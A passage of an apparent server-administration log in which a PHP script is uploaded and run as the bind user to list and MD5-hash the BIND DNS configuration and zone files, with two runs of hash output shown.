MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 11:55:13: Establishing a connection
2026-04-23 11:55:13: 

PUT: /tmp/pkp571644

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 11:55:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp571644; rm /tmp/pkp571644'

2026-04-23 11:55:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 11:55:40: Establishing a connection
2026-04-23 11:55:41: 

PUT: /tmp/pkp827742

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 11:55:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp827742; rm /tmp/pkp827742'

2026-04-23 11:55:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
